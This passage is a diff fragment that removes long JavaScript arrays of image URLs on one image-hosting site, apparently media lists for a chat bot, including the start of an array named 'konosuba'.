-'https://img.nickpic.host/qzdNLx.jpg',
-'https://img.nickpic.host/qzdYS2.jpg',
-'https://img.nickpic.host/qzdH1Q.jpg',
-'https://img.nickpic.host/qzdf3N.jpg',
-'https://img.nickpic.host/qzd0XO.jpg',
-'https://img.nickpic.host/qzd20m.jpg',
-'https://img.nickpic.host/qzdev8.jpg',
-'https://img.nickpic.host/qzdkOq.jpg',
-'https://img.nickpic.host/qzdJ8d.jpg',
-'https://img.nickpic.host/qzdLyD.jpg',
-'https://img.nickpic.host/qzdTc5.jpg',
-'https://img.nickpic.host/qzdW1P.jpg',
-'https://img.nickpic.host/qzdZLM.jpg',
-'https://img.nickpic.host/qzdyFF.jpg',
-'https://img.nickpic.host/qzyGXe.jpg',
-'https://img.nickpic.host/qzyI0X.jpg',
-'https://img.nickpic.host/qzyoxb.jpg',
-'https://img.nickpic.host/qzypOf.jpg',
-'https://img.nickpic.host/qzyvK6.jpg',
-'https://img.nickpic.host/qzyBGp.jpg',
-'https://img.nickpic.host/qzybcY.jpg',
-'https://img.nickpic.host/qzyr4A.jpg',
-'https://img.nickpic.host/qzyFFz.jpg',
-'https://img.nickpic.host/qzysPG.jpg',
-'https://img.nickpic.host/qzyaic.jpg',
-'https://img.nickpic.host/qzyj0W.jpg',
-'https://img.nickpic.host/qzy5x1.jpg',
-'https://img.nickpic.host/qzyShj.jpg',
-'https://img.nickpic.host/qzycKJ.jpg',
-'https://img.nickpic.host/qzyqGn.jpg',
-'https://img.nickpic.host/qzyugs.jpg',
-'https://img.nickpic.host/qzyA42.jpg',
-'https://img.nickpic.host/qzyEPQ.jpg',
-'https://img.nickpic.host/qzyhax.jpg',
-'https://img.nickpic.host/qzy6iN.jpg',
-'https://img.nickpic.host/qzyC2O.jpg',
-'https://img.nickpic.host/qzyUBm.jpg',
-'https://img.nickpic.host/qzyXh8.jpg',
-'https://img.nickpic.host/qzytGd.jpg',
-'https://img.nickpic.host/qzyiYq.jpg',
-'https://img.nickpic.host/qzyRD5.jpg',
-'https://img.nickpic.host/qzyMgD.jpg',
-'https://img.nickpic.host/qzy1PP.jpg',
-'https://img.nickpic.host/qzywnF.jpg',
-'https://img.nickpic.host/qzyDaM.jpg',
-'https://img.nickpic.host/qzyz2e.jpg',
-'https://img.nickpic.host/qzy8BX.jpg',
-'https://img.nickpic.host/qzyK6b.jpg',
-'https://img.nickpic.host/qzyYYf.jpg',
-'https://img.nickpic.host/qzyNI6.jpg',
-'https://img.nickpic.host/qzyVqp.jpg',
-'https://img.nickpic.host/qzy9jG.jpg',
-'https://img.nickpic.host/qzyfDY.jpg',
-'https://img.nickpic.host/qzy0TA.jpg',
-'https://img.nickpic.host/qzyenz.jpg',
-'https://img.nickpic.host/qzyk9c.jpg',
-'https://img.nickpic.host/qzyLBW.jpg',
-'https://img.nickpic.host/qzyTHj.jpg',
-'https://img.nickpic.host/qzyP61.jpg',
-'https://img.nickpic.host/qzyZIJ.jpg',
-'https://img.nickpic.host/qzydqn.jpg',
-'https://img.nickpic.host/qzyyws.jpg',
-'https://img.nickpic.host/q7GGT2.jpg',
-'https://img.nickpic.host/q7GmjQ.jpg',
-'https://img.nickpic.host/q7GxbO.jpg',
-'https://img.nickpic.host/q7Gp9N.jpg',
-'https://img.nickpic.host/q7Gotx.jpg',
-'https://img.nickpic.host/q7GBCm.jpg',
-'https://img.nickpic.host/q7Gsmq.jpg',
-'https://img.nickpic.host/q7GbH8.jpg',
-'https://img.nickpic.host/q7G3qd.jpg',
-'https://img.nickpic.host/q7GFwD.jpg',
-'https://img.nickpic.host/q7GljP.jpg',
-'https://img.nickpic.host/q7GaW5.jpg',
-'https://img.nickpic.host/q7G5tM.jpg',
-'https://img.nickpic.host/q7GSeF.jpg',
-'https://img.nickpic.host/q7Ggbe.jpg',
-'https://img.nickpic.host/q7GqCX.jpg',
-'https://img.nickpic.host/q7GuNb.jpg',
-'https://img.nickpic.host/q7GEmf.jpg',
-'https://img.nickpic.host/q7GOu6.jpg',
-'https://img.nickpic.host/q7G6WY.jpg',
-'https://img.nickpic.host/q7Ghzp.jpg',
-'https://img.nickpic.host/q7GQlA.jpg',
-'https://img.nickpic.host/q7GUMG.jpg',
-'https://img.nickpic.host/q7GXez.jpg',
-'https://img.nickpic.host/q7Gnrc.jpg',
-'https://img.nickpic.host/q7GtCW.jpg',
-'https://img.nickpic.host/q7GMN1.jpg',
-'https://img.nickpic.host/q7G1oj.jpg',
-'https://img.nickpic.host/q7G4uJ.jpg',
-'https://img.nickpic.host/q7GDzn.jpg',
-'https://img.nickpic.host/q7GwZs.jpg',
-'https://img.nickpic.host/q7G7l2.jpg',
-'https://img.nickpic.host/q7G8MQ.jpg',
-'https://img.nickpic.host/q7GKkx.jpg',
-'https://img.nickpic.host/q7GNQO.jpg',
-'https://img.nickpic.host/q7GHrN.jpg',
-'https://img.nickpic.host/q7GVVm.jpg',
-'https://img.nickpic.host/q7G0o8.jpg',
-'https://img.nickpic.host/q7G2Aq.jpg',
-'https://img.nickpic.host/q7G9zd.jpg',
-'https://img.nickpic.host/q7GeZD.jpg',
-'https://img.nickpic.host/q7GJ55.jpg',
-'https://img.nickpic.host/q7GLMP.jpg',
-'https://img.nickpic.host/q7GPkM.jpg',
-'https://img.nickpic.host/q7GWsF.jpg',
-'https://img.nickpic.host/q7GZQe.jpg',
-'https://img.nickpic.host/q7GdVX.jpg',
-'https://img.nickpic.host/q7IIAf.jpg',
-'https://img.nickpic.host/q7IGpb.jpg',
-'https://img.nickpic.host/q7Iodp.jpg',
-'https://img.nickpic.host/q7Im76.jpg',
-'https://img.nickpic.host/q7Iv5Y.jpg',
-'https://img.nickpic.host/q7IxRA.jpg',
-'https://img.nickpic.host/q7IBJG.jpg',
-'https://img.nickpic.host/q7Irsz.jpg',
-'https://img.nickpic.host/q7IsUc.jpg',
-'https://img.nickpic.host/q7I3VW.jpg',
-'https://img.nickpic.host/q7Iap1.jpg',
-'https://img.nickpic.host/q7IjEj.jpg',
-'https://img.nickpic.host/q7Il7J.jpg',
-'https://img.nickpic.host/q7I5dn.jpg',
-'https://img.nickpic.host/q7IcSs.jpg',
-'https://img.nickpic.host/q7IgR2.jpg',
-'https://img.nickpic.host/q7IqJQ.jpg',
-'https://img.nickpic.host/q7IA3x.jpg',
-'https://img.nickpic.host/q7IEUN.jpg',
-'https://img.nickpic.host/q7IOfO.jpg',
-'https://img.nickpic.host/q7I6vm.jpg',
-'https://img.nickpic.host/q7ICE8.jpg',
-'https://img.nickpic.host/q7IQ8q.jpg',
-'https://img.nickpic.host/q7IUdd.jpg',
-'https://img.nickpic.host/q7IiSD.jpg',
-'https://img.nickpic.host/q7In15.jpg',
-'https://img.nickpic.host/q7ItJP.jpg',
-'https://img.nickpic.host/q7I1XF.jpg',
-'https://img.nickpic.host/q7IR3M.jpg',
-'https://img.nickpic.host/q7I4fe.jpg',
-'https://img.nickpic.host/q7IwvX.jpg',
-'https://img.nickpic.host/q7I78f.jpg',
-'https://img.nickpic.host/q7IzOb.jpg',
-'https://img.nickpic.host/q7I8y6.jpg',
-'https://img.nickpic.host/q7IYcp.jpg',
-'https://img.nickpic.host/q7IH1Y.jpg',
-'https://img.nickpic.host/q7INLA.jpg',
-'https://img.nickpic.host/q7IfFG.jpg',
-'https://img.nickpic.host/q7I0Xz.jpg',
-'https://img.nickpic.host/q7I20c.jpg',
-'https://img.nickpic.host/q7IevW.jpg',
-'https://img.nickpic.host/q7IkO1.jpg',
-'https://img.nickpic.host/q7IJKj.jpg',
-'https://img.nickpic.host/q7ILyJ.jpg',
-'https://img.nickpic.host/q7ITcn.jpg',
-'https://img.nickpic.host/q7IW4s.jpg',
-'https://img.nickpic.host/q7IZL2.jpg',
-'https://img.nickpic.host/q7IyFQ.jpg',
-'https://img.nickpic.host/q7mGix.jpg',
-'https://img.nickpic.host/q7mI0N.jpg',
-'https://img.nickpic.host/q7mvK8.jpg',
-'https://img.nickpic.host/q7moxO.jpg',
-'https://img.nickpic.host/q7mphm.jpg',
-'https://img.nickpic.host/q7mBGq.jpg',
-'https://img.nickpic.host/q7mbcd.jpg',
-'https://img.nickpic.host/q7mr4D.jpg',
-'https://img.nickpic.host/q7msP5.jpg',
-'https://img.nickpic.host/q7mFFP.jpg',
-'https://img.nickpic.host/q7maiM.jpg',
-'https://img.nickpic.host/q7mj2F.jpg',
-'https://img.nickpic.host/q7m5xe.jpg',
-'https://img.nickpic.host/q7mShX.jpg',
-'https://img.nickpic.host/q7mcYb.jpg',
-'https://img.nickpic.host/q7mqGf.jpg',
-'https://img.nickpic.host/q7mug6.jpg',
-'https://img.nickpic.host/q7mEPY.jpg',
-'https://img.nickpic.host/q7mADp.jpg',
-'https://img.nickpic.host/q7mhaA.jpg',
-'https://img.nickpic.host/q7m6nG.jpg',
-'https://img.nickpic.host/q7mC2z.jpg',
-'https://img.nickpic.host/q7mUBc.jpg',
-'https://img.nickpic.host/q7mXhW.jpg',
-'https://img.nickpic.host/q7miY1.jpg',
-'https://img.nickpic.host/q7mMgJ.jpg',
-'https://img.nickpic.host/q7mtIj.jpg',
-'https://img.nickpic.host/q7mRDn.jpg',
-'https://img.nickpic.host/q7m1Ts.jpg',
-'https://img.nickpic.host/q7mDa2.jpg',
-'https://img.nickpic.host/q7mwnQ.jpg',
-'https://img.nickpic.host/q7mz9x.jpg',
-'https://img.nickpic.host/q7m8BN.jpg',
-'https://img.nickpic.host/q7mK6O.jpg',
-'https://img.nickpic.host/q7mYHm.jpg',
-'https://img.nickpic.host/q7mNI8.jpg',
-'https://img.nickpic.host/q7mVqq.jpg',
-'https://img.nickpic.host/q7mfDd.jpg',
-'https://img.nickpic.host/q7m0TD.jpg',
-'https://img.nickpic.host/q7m9j5.jpg',
-'https://img.nickpic.host/q7menP.jpg',
-'https://img.nickpic.host/q7mLbF.jpg',
-'https://img.nickpic.host/q7mk9M.jpg',
-'https://img.nickpic.host/q7mP6e.jpg',
-'https://img.nickpic.host/q7mTHX.jpg',
-'https://img.nickpic.host/q7mZmb.jpg',
-'https://img.nickpic.host/q7myw6.jpg',
-'https://img.nickpic.host/q7mdqf.jpg',
-'https://img.nickpic.host/q7oGWp.jpg',
-'https://img.nickpic.host/q7omjY.jpg',
-'https://img.nickpic.host/q7ootA.jpg',
-'https://img.nickpic.host/q7opeG.jpg',
-'https://img.nickpic.host/q7oxbz.jpg',
-'https://img.nickpic.host/q7obHW.jpg',
-'https://img.nickpic.host/q7oBCc.jpg',
-'https://img.nickpic.host/q7osm1.jpg',
-'https://img.nickpic.host/q7o3uj.jpg',
-'https://img.nickpic.host/q7oFwJ.jpg',
-'https://img.nickpic.host/q7oaWn.jpg',
-'https://img.nickpic.host/q7olls.jpg',
-'https://img.nickpic.host/q7o5t2.jpg',
-'https://img.nickpic.host/q7oSeQ.jpg',
-'https://img.nickpic.host/q7ogrx.jpg',
-'https://img.nickpic.host/q7ouNO.jpg',
-'https://img.nickpic.host/q7oqCN.jpg',
-'https://img.nickpic.host/q7oEom.jpg',
-'https://img.nickpic.host/q7oOu8.jpg',
-'https://img.nickpic.host/q7ohzq.jpg',
-'https://img.nickpic.host/q7o6Wd.jpg',
-'https://img.nickpic.host/q7oQlD.jpg',
-'https://img.nickpic.host/q7oUM5.jpg',
-'https://img.nickpic.host/q7oXeP.jpg',
-'https://img.nickpic.host/q7onrM.jpg',
-'https://img.nickpic.host/q7otQF.jpg',
-'https://img.nickpic.host/q7oMNe.jpg',
-'https://img.nickpic.host/q7o1oX.jpg',
-'https://img.nickpic.host/q7o4Ab.jpg',
-'https://img.nickpic.host/q7oDzf.jpg',
-'https://img.nickpic.host/q7owZ6.jpg',
-'https://img.nickpic.host/q7o75p.jpg',
-'https://img.nickpic.host/q7o8MY.jpg',
-'https://img.nickpic.host/q7oKkA.jpg',
-'https://img.nickpic.host/q7oHsG.jpg',
-'https://img.nickpic.host/q7oNQz.jpg',
-'https://img.nickpic.host/q7oVVc.jpg',
-'https://img.nickpic.host/q7o0oW.jpg',
-'https://img.nickpic.host/q7o2A1.jpg',
-'https://img.nickpic.host/q7o97j.jpg',
-'https://img.nickpic.host/q7oeZJ.jpg',
-'https://img.nickpic.host/q7oJ5n.jpg',
-'https://img.nickpic.host/q7oLRs.jpg',
-'https://img.nickpic.host/q7oPk2.jpg',
-'https://img.nickpic.host/q7oWsQ.jpg',
-'https://img.nickpic.host/q7oZUx.jpg',
-'https://img.nickpic.host/q7odVN.jpg',
-'https://img.nickpic.host/q7pGpO.jpg',
-'https://img.nickpic.host/q7pIEm.jpg',
-'https://img.nickpic.host/q7pm78.jpg',
-'https://img.nickpic.host/q7podq.jpg',
-'https://img.nickpic.host/q7pv5d.jpg',
-'https://img.nickpic.host/q7prsP.jpg',
-'https://img.nickpic.host/q7pxRD.jpg',
-'https://img.nickpic.host/q7pBJ5.jpg',
-'https://img.nickpic.host/q7psUM.jpg',
-'https://img.nickpic.host/q7p3fF.jpg',
-'https://img.nickpic.host/q7pape.jpg',
-'https://img.nickpic.host/q7pjEX.jpg',
-'https://img.nickpic.host/q7pl8b.jpg',
-'https://img.nickpic.host/q7p5df.jpg',
-'https://img.nickpic.host/q7pcS6.jpg',
-'https://img.nickpic.host/q7pqJY.jpg',
-'https://img.nickpic.host/q7pg1p.jpg',
-'https://img.nickpic.host/q7pA3A.jpg',
-'https://img.nickpic.host/q7pEXG.jpg',
-'https://img.nickpic.host/q7pOfz.jpg',
-'https://img.nickpic.host/q7p6vc.jpg',
-'https://img.nickpic.host/q7pCEW.jpg',
-'https://img.nickpic.host/q7pQ81.jpg',
-'https://img.nickpic.host/q7pUyj.jpg',
-'https://img.nickpic.host/q7piSJ.jpg',
-'https://img.nickpic.host/q7pn1n.jpg',
-'https://img.nickpic.host/q7ptLs.jpg',
-'https://img.nickpic.host/q7pR32.jpg',
-'https://img.nickpic.host/q7p1XQ.jpg',
-'https://img.nickpic.host/q7p40x.jpg',
-'https://img.nickpic.host/q7pwvN.jpg',
-'https://img.nickpic.host/q7pzOO.jpg',
-'https://img.nickpic.host/q7p7Km.jpg',
-'https://img.nickpic.host/q7p8y8.jpg',
-'https://img.nickpic.host/q7pYcq.jpg',
-'https://img.nickpic.host/q7pH1d.jpg',
-'https://img.nickpic.host/q7pNLD.jpg',
-'https://img.nickpic.host/q7pfF5.jpg',
-'https://img.nickpic.host/q7p0XP.jpg',
-'https://img.nickpic.host/q7p20M.jpg',
-'https://img.nickpic.host/q7pexF.jpg',
-'https://img.nickpic.host/q7pkOe.jpg',
-'https://img.nickpic.host/q7pJKX.jpg',
-'https://img.nickpic.host/q7pPGb.jpg',
-'https://img.nickpic.host/q7pTcf.jpg',
-'https://img.nickpic.host/q7pW46.jpg',
-'https://img.nickpic.host/q7pZPp.jpg',
-'https://img.nickpic.host/q7pyFY.jpg',
-'https://img.nickpic.host/q7vGiA.jpg',
-'https://img.nickpic.host/q7vI2G.jpg',
-'https://img.nickpic.host/q7voxz.jpg',
-'https://img.nickpic.host/q7vphc.jpg',
-'https://img.nickpic.host/q7vvKW.jpg',
-'https://img.nickpic.host/q7vBG1.jpg',
-'https://img.nickpic.host/q7vbgj.jpg',
-'https://img.nickpic.host/q7vr4J.jpg',
-'https://img.nickpic.host/q7vsPn.jpg',
-'https://img.nickpic.host/q7vFas.jpg',
-'https://img.nickpic.host/q7vai2.jpg',
-'https://img.nickpic.host/q7vj2Q.jpg',
-'https://img.nickpic.host/q7v5Bx.jpg',
-'https://img.nickpic.host/q7vShN.jpg',
-'https://img.nickpic.host/q7vcYO.jpg',
-'https://img.nickpic.host/q7vqIm.jpg',
-'https://img.nickpic.host/q7vug8.jpg',
-'https://img.nickpic.host/q7vADq.jpg',
-'https://img.nickpic.host/q7vEPd.jpg',
-'https://img.nickpic.host/q7vhaD.jpg',
-'https://img.nickpic.host/q7v6n5.jpg',
-'https://img.nickpic.host/q7vC2P.jpg',
-'https://img.nickpic.host/q7vUBM.jpg',
-'https://img.nickpic.host/q7vX6F.jpg',
-'https://img.nickpic.host/q7viYe.jpg',
-'https://img.nickpic.host/q7vtIX.jpg',
-'https://img.nickpic.host/q7vMqb.jpg',
-'https://img.nickpic.host/q7vRDf.jpg',
-'https://img.nickpic.host/q7v1T6.jpg',
-'https://img.nickpic.host/q7vDjp.jpg',
-'https://img.nickpic.host/q7vwnY.jpg',
-'https://img.nickpic.host/q7vz9A.jpg',
-'https://img.nickpic.host/q7v8bG.jpg',
-'https://img.nickpic.host/q7vK6z.jpg',
-'https://img.nickpic.host/q7vYHc.jpg',
-'https://img.nickpic.host/q7vNIW.jpg',
-'https://img.nickpic.host/q7vVq1.jpg',
-'https://img.nickpic.host/q7vfwj.jpg',
-'https://img.nickpic.host/q7v0TJ.jpg',
-'https://img.nickpic.host/q7v9jn.jpg',
-'https://img.nickpic.host/q7vets.jpg',
-'https://img.nickpic.host/q7vk92.jpg',
-'https://img.nickpic.host/q7vLbQ.jpg',
-'https://img.nickpic.host/q7vPCx.jpg',
-'https://img.nickpic.host/q7vTHN.jpg',
-'https://img.nickpic.host/q7vZmO.jpg',
-'https://img.nickpic.host/q7vdum.jpg',
-'https://img.nickpic.host/q7vyw8.jpg',
-'https://img.nickpic.host/q7xGWq.jpg',
-'https://img.nickpic.host/q7xmjd.jpg',
-'https://img.nickpic.host/q7xotD.jpg',
-'https://img.nickpic.host/q7xpe5.jpg',
-'https://img.nickpic.host/q7xxbP.jpg',
-'https://img.nickpic.host/q7xBCM.jpg',
-'https://img.nickpic.host/q7xbNF.jpg',
-'https://img.nickpic.host/q7xsme.jpg',
-'https://img.nickpic.host/q7x3uX.jpg',
-'https://img.nickpic.host/q7xFzb.jpg',
-'https://img.nickpic.host/q7xaWf.jpg',
-'https://img.nickpic.host/q7xll6.jpg',
-'https://img.nickpic.host/q7x5Mp.jpg',
-'https://img.nickpic.host/q7xSeY.jpg',
-'https://img.nickpic.host/q7xgrA.jpg',
-'https://img.nickpic.host/q7xqQG.jpg',
-'https://img.nickpic.host/q7xuNz.jpg',
-'https://img.nickpic.host/q7xEoc.jpg',
-'https://img.nickpic.host/q7xOuW.jpg',
-'https://img.nickpic.host/q7xhz1.jpg',
-'https://img.nickpic.host/q7x6Zj.jpg',
-'https://img.nickpic.host/q7xQlJ.jpg',
-'https://img.nickpic.host/q7xUMn.jpg',
-'https://img.nickpic.host/q7xXks.jpg',
-'https://img.nickpic.host/q7xnr2.jpg',
-'https://img.nickpic.host/q7xtQQ.jpg',
-'https://img.nickpic.host/q7xMVx.jpg',
-'https://img.nickpic.host/q7x1oN.jpg',
-'https://img.nickpic.host/q7x4AO.jpg',
-'https://img.nickpic.host/q7xD7m.jpg',
-'https://img.nickpic.host/q7xwZ8.jpg',
-'https://img.nickpic.host/q7x75q.jpg',
-'https://img.nickpic.host/q7x8Md.jpg',
-'https://img.nickpic.host/q7xKkD.jpg',
-'https://img.nickpic.host/q7xHs5.jpg',
-'https://img.nickpic.host/q7xNQP.jpg',
-'https://img.nickpic.host/q7xVVM.jpg',
-'https://img.nickpic.host/q7x0pF.jpg',
-'https://img.nickpic.host/q7x2Ae.jpg',
-'https://img.nickpic.host/q7x97X.jpg',
-'https://img.nickpic.host/q7xedb.jpg',
-'https://img.nickpic.host/q7xJ5f.jpg',
-'https://img.nickpic.host/q7xLR6.jpg',
-'https://img.nickpic.host/q7xPJp.jpg',
-'https://img.nickpic.host/q7xWsY.jpg',
-'https://img.nickpic.host/q7xZUA.jpg',
-'https://img.nickpic.host/q7xdfG.jpg',
-'https://img.nickpic.host/q7BGpz.jpg',
-'https://img.nickpic.host/q7BIEc.jpg',
-'https://img.nickpic.host/q7Bm7W.jpg',
-'https://img.nickpic.host/q7Bod1.jpg',
-'https://img.nickpic.host/q7BvSj.jpg',
-'https://img.nickpic.host/q7BxRJ.jpg',
-'https://img.nickpic.host/q7BBJn.jpg',
-'https://img.nickpic.host/q7Br3s.jpg',
-'https://img.nickpic.host/q7BsU2.jpg',
-'https://img.nickpic.host/q7B3fQ.jpg',
-'https://img.nickpic.host/q7Bavx.jpg',
-'https://img.nickpic.host/q7BjEN.jpg',
-'https://img.nickpic.host/q7Bl8O.jpg',
-'https://img.nickpic.host/q7BcS8.jpg',
-'https://img.nickpic.host/q7B5ym.jpg',
-'https://img.nickpic.host/q7BqJd.jpg',
-'https://img.nickpic.host/q7Bg1q.jpg',
-'https://img.nickpic.host/q7BA3D.jpg',
-'https://img.nickpic.host/q7BEX5.jpg',
-'https://img.nickpic.host/q7BOfP.jpg',
-'https://img.nickpic.host/q7B6vM.jpg',
-'https://img.nickpic.host/q7BCOF.jpg',
-'https://img.nickpic.host/q7BQ8e.jpg',
-'https://img.nickpic.host/q7BUyX.jpg',
-'https://img.nickpic.host/q7Bicb.jpg',
-'https://img.nickpic.host/q7Bn1f.jpg',
-'https://img.nickpic.host/q7BtL6.jpg',
-'https://img.nickpic.host/q7BRFp.jpg',
-'https://img.nickpic.host/q7B1XY.jpg',
-'https://img.nickpic.host/q7B40A.jpg',
-'https://img.nickpic.host/q7BwxG.jpg',
-'https://img.nickpic.host/q7BzOz.jpg',
-'https://img.nickpic.host/q7B7Kc.jpg',
-'https://img.nickpic.host/q7B8yW.jpg',
-'https://img.nickpic.host/q7BYc1.jpg',
-'https://img.nickpic.host/q7BH4j.jpg',
-'https://img.nickpic.host/q7BNLJ.jpg',
-'https://img.nickpic.host/q7BfFn.jpg',
-'https://img.nickpic.host/q7B0is.jpg',
-'https://img.nickpic.host/q7B202.jpg',
-'https://img.nickpic.host/q7BexQ.jpg',
-'https://img.nickpic.host/q7Bkhx.jpg',
-'https://img.nickpic.host/q7BJKN.jpg',
-'https://img.nickpic.host/q7BPGO.jpg',
-'https://img.nickpic.host/q7BTgm.jpg',
-'https://img.nickpic.host/q7BW48.jpg',
-'https://img.nickpic.host/q7BZPq.jpg',
-'https://img.nickpic.host/q7ByFd.jpg',
-'https://img.nickpic.host/q7bGiD.jpg',
-'https://img.nickpic.host/q7bI25.jpg',
-'https://img.nickpic.host/q7bphM.jpg',
-'https://img.nickpic.host/q7boxP.jpg',
-'https://img.nickpic.host/q7bvYF.jpg',
-'https://img.nickpic.host/q7bBGe.jpg',
-'https://img.nickpic.host/q7bbgX.jpg',
-'https://img.nickpic.host/q7brDb.jpg',
-'https://img.nickpic.host/q7bsPf.jpg',
-'https://img.nickpic.host/q7bFa6.jpg',
-'https://img.nickpic.host/q7banp.jpg',
-'https://img.nickpic.host/q7bj2Y.jpg',
-'https://img.nickpic.host/q7b5BA.jpg',
-'https://img.nickpic.host/q7bS6G.jpg',
-'https://img.nickpic.host/q7bcYz.jpg',
-'https://img.nickpic.host/q7bqIc.jpg',
-'https://img.nickpic.host/q7bugW.jpg',
-'https://img.nickpic.host/q7bETj.jpg',
-'https://img.nickpic.host/q7bAD1.jpg',
-'https://img.nickpic.host/q7bhaJ.jpg',
-'https://img.nickpic.host/q7b6nn.jpg',
-'https://img.nickpic.host/q7bX6Q.jpg',
-'https://img.nickpic.host/q7bC9s.jpg',
-'https://img.nickpic.host/q7bUB2.jpg',
-'https://img.nickpic.host/q7biHx.jpg',
-'https://img.nickpic.host/q7btIN.jpg',
-'https://img.nickpic.host/q7bRwm.jpg',
-'https://img.nickpic.host/q7bMqO.jpg',
-'https://img.nickpic.host/q7bDjq.jpg',
-'https://img.nickpic.host/q7b1T8.jpg',
-'https://img.nickpic.host/q7bwnd.jpg',
-'https://img.nickpic.host/q7b8b5.jpg',
-'https://img.nickpic.host/q7bz9D.jpg',
-'https://img.nickpic.host/q7bK6P.jpg',
-'https://img.nickpic.host/q7bYHM.jpg',
-'https://img.nickpic.host/q7bVqe.jpg',
-'https://img.nickpic.host/q7bfwX.jpg',
-'https://img.nickpic.host/q7bNmF.jpg',
-'https://img.nickpic.host/q7b0Wb.jpg',
-'https://img.nickpic.host/q7b9jf.jpg',
-'https://img.nickpic.host/q7bet6.jpg',
-'https://img.nickpic.host/q7bkep.jpg',
-'https://img.nickpic.host/q7bLbY.jpg',
-'https://img.nickpic.host/q7bPCA.jpg',
-'https://img.nickpic.host/q7bTNG.jpg',
-'https://img.nickpic.host/q7bZmz.jpg',
-'https://img.nickpic.host/q7bywW.jpg',
-'https://img.nickpic.host/q7bduc.jpg',
-'https://img.nickpic.host/q7rotJ.jpg',
-'https://img.nickpic.host/q7rGW1.jpg',
-'https://img.nickpic.host/q7rmlj.jpg',
-'https://img.nickpic.host/q7rxrs.jpg',
-'https://img.nickpic.host/q7rpen.jpg',
-'https://img.nickpic.host/q7rsox.jpg',
-'https://img.nickpic.host/q7rBC2.jpg',
-'https://img.nickpic.host/q7rbNQ.jpg',
-'https://img.nickpic.host/q7rFzO.jpg',
-'https://img.nickpic.host/q7r3uN.jpg',
-'https://img.nickpic.host/q7raZm.jpg',
-'https://img.nickpic.host/q7rll8.jpg',
-'https://img.nickpic.host/q7r5Mq.jpg',
-'https://img.nickpic.host/q7rSed.jpg',
-'https://img.nickpic.host/q7rgrD.jpg',
-'https://img.nickpic.host/q7rqQ5.jpg',
-'https://img.nickpic.host/q73et8.jpg']
-
-
-global.konosuba = ['https://img.nickpic.host/q4MGFn.jpg',
-'https://img.nickpic.host/q4tdLJ.jpg',
-'https://img.nickpic.host/q4tZ4j.jpg',
-'https://img.nickpic.host/q4tWc1.jpg',
-'https://img.nickpic.host/q4tPyW.jpg',
-'https://img.nickpic.host/q4tJOz.jpg',
-'https://img.nickpic.host/q4tLKc.jpg',
-'https://img.nickpic.host/q4tkxG.jpg',
-'https://img.nickpic.host/q4t90A.jpg',
-'https://img.nickpic.host/q4t2XY.jpg',
-'https://img.nickpic.host/q4Mm02.jpg',
-'https://img.nickpic.host/q4MIis.jpg',
-'https://img.nickpic.host/q4MxKN.jpg',
-'https://img.nickpic.host/q4MpxQ.jpg',
-'https://img.nickpic.host/q4Mvhx.jpg',
-'https://img.nickpic.host/q4MbGO.jpg',
-'https://img.nickpic.host/q4Mrgm.jpg',
-'https://img.nickpic.host/q4M3Pq.jpg',
-'https://img.nickpic.host/q4Ms48.jpg',
-'https://img.nickpic.host/q4MaFd.jpg',
-'https://img.nickpic.host/q4Ml25.jpg',
-'https://img.nickpic.host/q4MjiD.jpg',
-'https://img.nickpic.host/q4MSxP.jpg',
-'https://img.nickpic.host/q4MchM.jpg',
-'https://img.nickpic.host/q4MgYF.jpg',
-'https://img.nickpic.host/q4MuGe.jpg',
-'https://img.nickpic.host/q4MAgX.jpg',
-'https://img.nickpic.host/q4MEDb.jpg',
-'https://img.nickpic.host/q4MOPf.jpg',
-'https://img.nickpic.host/q4M6a6.jpg',
-'https://img.nickpic.host/q4MCnp.jpg',
-'https://img.nickpic.host/q4MQ2Y.jpg',
-'https://img.nickpic.host/q4MXBA.jpg',
-'https://img.nickpic.host/q4Mi6G.jpg',
-'https://img.nickpic.host/q4MnYz.jpg',
-'https://img.nickpic.host/q4MMIc.jpg',
-'https://img.nickpic.host/q4M1D1.jpg',
-'https://img.nickpic.host/q4MRgW.jpg',
-'https://img.nickpic.host/q4M4Tj.jpg',
-'https://img.nickpic.host/q4MwaJ.jpg',
-'https://img.nickpic.host/q4Mznn.jpg',
-'https://img.nickpic.host/q4M79s.jpg',
-'https://img.nickpic.host/q4MKB2.jpg',
-'https://img.nickpic.host/q4MY6Q.jpg',
-'https://img.nickpic.host/q4MHHx.jpg',
-'https://img.nickpic.host/q4MfqO.jpg',
-'https://img.nickpic.host/q4MVIN.jpg',
-'https://img.nickpic.host/q4M0wm.jpg',
-'https://img.nickpic.host/q4M2T8.jpg',
-'https://img.nickpic.host/q4Mejq.jpg',
-'https://img.nickpic.host/q4MJ9D.jpg',
-'https://img.nickpic.host/q4Mknd.jpg',
-'https://img.nickpic.host/q4MPb5.jpg',
-'https://img.nickpic.host/q4MT6P.jpg',
-'https://img.nickpic.host/q4Myqe.jpg',
-'https://img.nickpic.host/q4MdmF.jpg',
-'https://img.nickpic.host/q4MWHM.jpg',
-'https://img.nickpic.host/q4RIWb.jpg',
-'https://img.nickpic.host/q4RGwX.jpg',
-'https://img.nickpic.host/q4Rojf.jpg',
-'https://img.nickpic.host/q4Rpt6.jpg',
-'https://img.nickpic.host/q4RBbY.jpg',
-'https://img.nickpic.host/q4RbCA.jpg',
-'https://img.nickpic.host/q4Rvep.jpg',
-'https://img.nickpic.host/q4RrNG.jpg',
-'https://img.nickpic.host/q4R3mz.jpg',
-'https://img.nickpic.host/q4RFuc.jpg',
-'https://img.nickpic.host/q4RawW.jpg',
-'https://img.nickpic.host/q4RjW1.jpg',
-'https://img.nickpic.host/q4Rcen.jpg',
-'https://img.nickpic.host/q4R5lj.jpg',
-'https://img.nickpic.host/q4RStJ.jpg',
-'https://img.nickpic.host/q4Rqrs.jpg',
-'https://img.nickpic.host/q4RuC2.jpg',
-'https://img.nickpic.host/q4RhuN.jpg',
-'https://img.nickpic.host/q4RANQ.jpg',
-'https://img.nickpic.host/q4ROox.jpg',
-'https://img.nickpic.host/q4RCZm.jpg',
-'https://img.nickpic.host/q4R6zO.jpg',
-'https://img.nickpic.host/q4RUl8.jpg',
-'https://img.nickpic.host/q4RXMq.jpg',
-'https://img.nickpic.host/q4Ried.jpg',
-'https://img.nickpic.host/q4RMQ5.jpg',
-'https://img.nickpic.host/q4RtrD.jpg',
-'https://img.nickpic.host/q4R4oM.jpg',
-'https://img.nickpic.host/q4RRNP.jpg',
-'https://img.nickpic.host/q4RDAF.jpg',
-'https://img.nickpic.host/q4Rwze.jpg',
-'https://img.nickpic.host/q4RzZX.jpg',
-'https://img.nickpic.host/q4RKMf.jpg',
-'https://img.nickpic.host/q4R85b.jpg',
-'https://img.nickpic.host/q4RYk6.jpg',
-'https://img.nickpic.host/q4RVQY.jpg',
